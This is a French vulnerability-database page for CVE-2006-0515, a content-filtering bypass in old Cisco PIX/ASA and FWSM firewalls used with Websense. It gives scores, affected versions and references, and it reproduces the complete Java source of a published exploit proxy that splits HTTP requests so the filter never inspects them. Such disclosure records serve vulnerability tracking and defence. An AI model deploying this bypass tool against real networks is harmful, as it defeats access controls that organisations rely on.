CVE-2006-0515 : Détail

CVE-2006-0515

4.36%V4
Network
2006-05-09
08h00 +00:00
2018-10-19
12h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Cisco PIX/ASA 7.1.x before 7.1(2) and 7.0.x before 7.0(5), PIX 6.3.x before 6.3.5(112), and FWSM 2.3.x before 2.3(4) and 3.x before 3.1(7), when used with Websense/N2H2, allows remote attackers to bypass HTTP access restrictions by splitting the GET method of an HTTP request into multiple packets, which prevents the request from being sent to Websense for inspection, aka bugs CSCsc67612, CSCsc68472, and CSCsd81734.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 27830

Date de publication : 2006-05-07 22h00 +00:00
Auteur : George D. Gal
EDB Vérifié : Yes

source: https://www.securityfocus.com/bid/17883/info Multiple Cisco products are susceptible to a content-filtering bypass vulnerability. This issue is due to a failure of the software to properly recognize HTTP request traffic. This issue allows users to bypass content-filtering and access forbidden websites. Cisco is tracking this issue as Bug IDs CSCsc67612, CSCsc68472, and CSCsd81734.http://www.cisco.com/pcgi-bin/Support/Bugtool/onebug.pl?bugid=CSCsd81734 // Copyright (C) 2005-2006 Virtual Security Research, LLC. - All rights reserved // Disclaimer: Use this tool at your own risk. The author of this utility // nor Virtual Security Research, LLC. will assume any liability for damage // caused by running this code. This utility is provided for educational // purposes only. import java.lang.*; import java.net.*; import java.io.*; import java.util.*; import javax.swing.JFrame; import javax.swing.JScrollPane; import javax.swing.JTextArea; import javax.swing.SwingUtilities; import java.awt.BorderLayout; class WebsenseBypassProxyConnection implements Runnable { Socket csock; Socket ssock; static int count = 0; WebsenseBypassProxy wbp; public WebsenseBypassProxyConnection(Socket csock, WebsenseBypassProxy parent) { this.csock = csock; this.wbp = parent; } private StringBuffer GetHeader(InputStream istream) throws IOException { ByteArrayOutputStream out = new ByteArrayOutputStream(); int i; do { i = istream.read(); if (i == -1) { if(out.size() > 0) { String s = out.toString(); if(s.endsWith("\r\n")) return (new StringBuffer(out.toString() + "\r\n")); else if (s.endsWith("\n")) return (new StringBuffer(out.toString() + "\n")); } throw (new IOException()); } out.write((byte) i); } while ((!out.toString().endsWith("\r\n\r\n")) && (!out.toString().endsWith("\n\n"))); return (new StringBuffer(out.toString())); } private HashMap GetHeaderParam(StringBuffer header) { HashMap h = new HashMap(); int i=0; try { if ((i=header.toString().indexOf("\n")) > 0) { StringTokenizer stok = new StringTokenizer(header.toString().substring(i), ":\r\n", true); try { while(stok.hasMoreTokens()) { // Get name value pair String tok = stok.nextToken(":").trim().toLowerCase(); stok.nextToken(); String tokval = stok.nextToken("\r\n").trim(); h.put(tok, tokval); //System.out.println("n, v: "+tok +", "+tokval); } } catch(NoSuchElementException e) { } } } catch (Exception e) { } return(h); } private StringBuffer GetReqBody(InputStream istream) throws IOException { ByteArrayOutputStream out = new ByteArrayOutputStream(); int i; while (!(out.toString().endsWith("\r\n\r\n") || out.toString().endsWith("\n\n"))) { i = istream.read(); if (i== -1) { if(out.size() > 0) { String s = out.toString(); if(s.endsWith("\r\n")) return (new StringBuffer(out.toString() + "\r\n")); else if (s.endsWith("\n")) return (new StringBuffer(out.toString() + "\n")); } throw (new IOException()); } out.write((byte) i); } return (new StringBuffer(out.toString())); } public void run() { Socket ssock = null; InputStream clientIn = null; BufferedOutputStream clientOut = null; InputStream serverIn = null; BufferedOutputStream serverOut = null; int i=0; int ch=-1,r0=-1,r1=-1; try { clientIn = csock.getInputStream(); clientOut = new BufferedOutputStream(csock.getOutputStream()); StringBuffer buf = GetHeader(clientIn); int idx = buf.indexOf("Proxy-Connection:"); int eol = buf.indexOf("\r\n", idx+18); //System.out.println("Idx: "+idx+" ,eol: "+eol); if ((idx > 0) && (eol > 0)) { buf = buf.replace(idx, eol, "Connection: close"); } // And we should just make our lives easy and change keep-alives // to close. idx = -1; eol = -1; idx = buf.indexOf("Keep-Alive:"); eol = buf.indexOf("\r\n",idx+11); //System.out.println("Idx: "+idx+" ,eol: "+eol); if ((idx > 0) && (eol > 0)) { buf = buf.replace(idx, eol, "Keep-Alive: close"); } HashMap h = GetHeaderParam(buf); StringTokenizer st = new StringTokenizer(buf.toString()); String reqtype = st.nextToken().toUpperCase(); URL req = new URL(st.nextToken()); String remotehost = req.getHost(); int remoteport = req.getPort(); if (remoteport == -1) { remoteport = 80; } // change the target to remove the host and protocol idx = -1; int end = -1; idx = buf.indexOf(reqtype + " "+ req.toString()); end = idx + (reqtype+" "+req.toString()).length(); //System.out.println("Request and URL Idx: "+idx+" , end: "+end); if ((idx >= 0) && (end > 0)) { buf = buf.replace(idx, end, reqtype+" "+ req.getPath().toString()); } wbp.displayMessage(">> "+reqtype+" "+req.getPath().toString()+"\n"); //System.out.println(">> "+reqtype+" "+req.getPath().toString()); ssock = new Socket(remotehost,remoteport); //StringBuffer buf2 = GetReqBody(clientIn); StringReader sr = new StringReader(buf.toString()); serverIn = ssock.getInputStream(); serverOut = new BufferedOutputStream(ssock.getOutputStream()); while ((ch = sr.read()) != -1) { serverOut.write(ch); if (i == 0) { // Flush out the first byte serverOut.flush(); } i++; } serverOut.flush(); while ((ch = serverIn.read()) != -1) { clientOut.write(ch); } wbp.displayMessage(">>XX>> Server stream closed\n"); //System.out.println(">>XX>> Server stream closed"); clientOut.flush(); // just added csock.shutdownOutput(); ssock.close(); csock.close(); ssock.close(); csock.close(); } catch (Exception e) { e.printStackTrace(System.err); } } } public class WebsenseBypassProxy extends JFrame { private Object lock = new Object(); private JTextArea displayArea; public WebsenseBypassProxy() { super("Websense Filter Bypass Proxy 1.0"); displayArea = new JTextArea(); add(new JScrollPane(displayArea), BorderLayout.CENTER); setSize(400, 250); setVisible(true); displayArea.setEditable(false); } void start (int lport) { WebsenseBypassProxyListener wbp=new WebsenseBypassProxyListener(this); wbp.lport = lport; Thread listener = new Thread(wbp); listener.start(); displayMessage("Starting proxy listener on port: "+lport+"\n"); //System.out.println("Starting proxy listener on port: "+lport); } void shutdown() { synchronized(lock) { } } public void displayMessage( final String messageToDisplay ) { SwingUtilities.invokeLater( new Runnable() { public void run() { displayArea.append( messageToDisplay ); } } ); } public void run(int lport) { ServerSocket lsock; try { lsock = new ServerSocket(lport); for (;;) { try { Socket s; s = lsock.accept(); WebsenseBypassProxyConnection wbpc = new WebsenseBypassProxyConnection(s, this); Thread t = new Thread(wbpc); t.start(); } catch (IOException e) { System.out.print(e.toString()); return; } } } catch (Exception e) { System.out.print(e.toString()); } } public static void main(String[] argv) { if (argv.length != 1) { System.err.println( "Usage:\n\t java WebsenseBypassProxy <portnum>\n"); } else { try { int localport = Integer.parseInt(argv[0]); WebsenseBypassProxy wbp = new WebsenseBypassProxy(); wbp.start(localport); } catch (Exception e) { e.printStackTrace(System.err); } } } } class WebsenseBypassProxyListener implements Runnable { WebsenseBypassProxy p; public int lport; public WebsenseBypassProxyListener(WebsenseBypassProxy p) { this.p = p; } public void run() { p.run(lport); } }

Products Mentioned

Configuraton 0

Cisco>>Adaptive_security_appliance_software >> Version 7.0

Cisco>>Adaptive_security_appliance_software >> Version 7.0\(4\)

Cisco>>Adaptive_security_appliance_software >> Version 7.0.1.4

Cisco>>Adaptive_security_appliance_software >> Version 7.0.4.3

Cisco>>Pix_firewall >> Version 6.2.2.111

    Cisco>>Pix_firewall >> Version 6.2.3_\(110\)

      Cisco>>Pix_firewall >> Version 6.3.3_\(133\)

        Cisco>>Firewall_services_module >> Version 2.3

        Cisco>>Firewall_services_module >> Version 3.1

        Cisco>>Pix_firewall_software >> Version 2.7

        Cisco>>Pix_firewall_software >> Version 3.0

        Cisco>>Pix_firewall_software >> Version 3.1

        Cisco>>Pix_firewall_software >> Version 4.0

        Cisco>>Pix_firewall_software >> Version 4.1\(6\)

        Cisco>>Pix_firewall_software >> Version 4.1\(6b\)

        Cisco>>Pix_firewall_software >> Version 4.2

        Cisco>>Pix_firewall_software >> Version 4.2\(1\)

        Cisco>>Pix_firewall_software >> Version 4.2\(2\)

        Cisco>>Pix_firewall_software >> Version 4.2\(5\)

        Cisco>>Pix_firewall_software >> Version 4.3

        Cisco>>Pix_firewall_software >> Version 4.4

        Cisco>>Pix_firewall_software >> Version 4.4\(4\)

        Cisco>>Pix_firewall_software >> Version 4.4\(7.202\)

        Cisco>>Pix_firewall_software >> Version 4.4\(8\)

        Cisco>>Pix_firewall_software >> Version 5.0

        Cisco>>Pix_firewall_software >> Version 5.1

        Cisco>>Pix_firewall_software >> Version 5.1\(4\)

        Cisco>>Pix_firewall_software >> Version 5.1\(4.206\)

        Cisco>>Pix_firewall_software >> Version 5.2

        Cisco>>Pix_firewall_software >> Version 5.2\(1\)

        Cisco>>Pix_firewall_software >> Version 5.2\(2\)

        Cisco>>Pix_firewall_software >> Version 5.2\(3.210\)

        Cisco>>Pix_firewall_software >> Version 5.2\(5\)

        Cisco>>Pix_firewall_software >> Version 5.2\(6\)

        Cisco>>Pix_firewall_software >> Version 5.2\(7\)

        Cisco>>Pix_firewall_software >> Version 5.2\(9\)

        Cisco>>Pix_firewall_software >> Version 5.3

        Cisco>>Pix_firewall_software >> Version 5.3\(1\)

        Cisco>>Pix_firewall_software >> Version 5.3\(1.200\)

        Cisco>>Pix_firewall_software >> Version 5.3\(2\)

        Cisco>>Pix_firewall_software >> Version 5.3\(3\)

        Cisco>>Pix_firewall_software >> Version 6.0

        Cisco>>Pix_firewall_software >> Version 6.0\(1\)

        Cisco>>Pix_firewall_software >> Version 6.0\(2\)

        Cisco>>Pix_firewall_software >> Version 6.0\(3\)

        Cisco>>Pix_firewall_software >> Version 6.0\(4\)

        Cisco>>Pix_firewall_software >> Version 6.0\(4.101\)

        Cisco>>Pix_firewall_software >> Version 6.1

        Cisco>>Pix_firewall_software >> Version 6.1\(1\)

        Cisco>>Pix_firewall_software >> Version 6.1\(2\)

        Cisco>>Pix_firewall_software >> Version 6.1\(3\)

        Cisco>>Pix_firewall_software >> Version 6.1\(4\)

        Cisco>>Pix_firewall_software >> Version 6.1\(5\)

        Cisco>>Pix_firewall_software >> Version 6.1.5\(104\)

        Cisco>>Pix_firewall_software >> Version 6.2

        Cisco>>Pix_firewall_software >> Version 6.2\(1\)

        Cisco>>Pix_firewall_software >> Version 6.2\(2\)

        Cisco>>Pix_firewall_software >> Version 6.2\(3\)

        Cisco>>Pix_firewall_software >> Version 6.2\(3.100\)

        Cisco>>Pix_firewall_software >> Version 6.3

        Cisco>>Pix_firewall_software >> Version 6.3\(1\)

        Cisco>>Pix_firewall_software >> Version 6.3\(2\)

        Cisco>>Pix_firewall_software >> Version 6.3\(3\)

        Cisco>>Pix_firewall_software >> Version 6.3\(3.102\)

        Cisco>>Pix_firewall_software >> Version 6.3\(3.109\)

        Cisco>>Pix_firewall_software >> Version 6.3\(5\)

        Références

        http://www.osvdb.org/25453
        Tags : vdb-entry, x_refsource_OSVDB
        http://secunia.com/advisories/20044
        Tags : third-party-advisory, x_refsource_SECUNIA
        http://www.securityfocus.com/bid/17883
        Tags : vdb-entry, x_refsource_BID
        http://www.vupen.com/english/advisories/2006/1738
        Tags : vdb-entry, x_refsource_VUPEN
        http://securitytracker.com/id?1016040
        Tags : vdb-entry, x_refsource_SECTRACK
        http://securitytracker.com/id?1016039
        Tags : vdb-entry, x_refsource_SECTRACK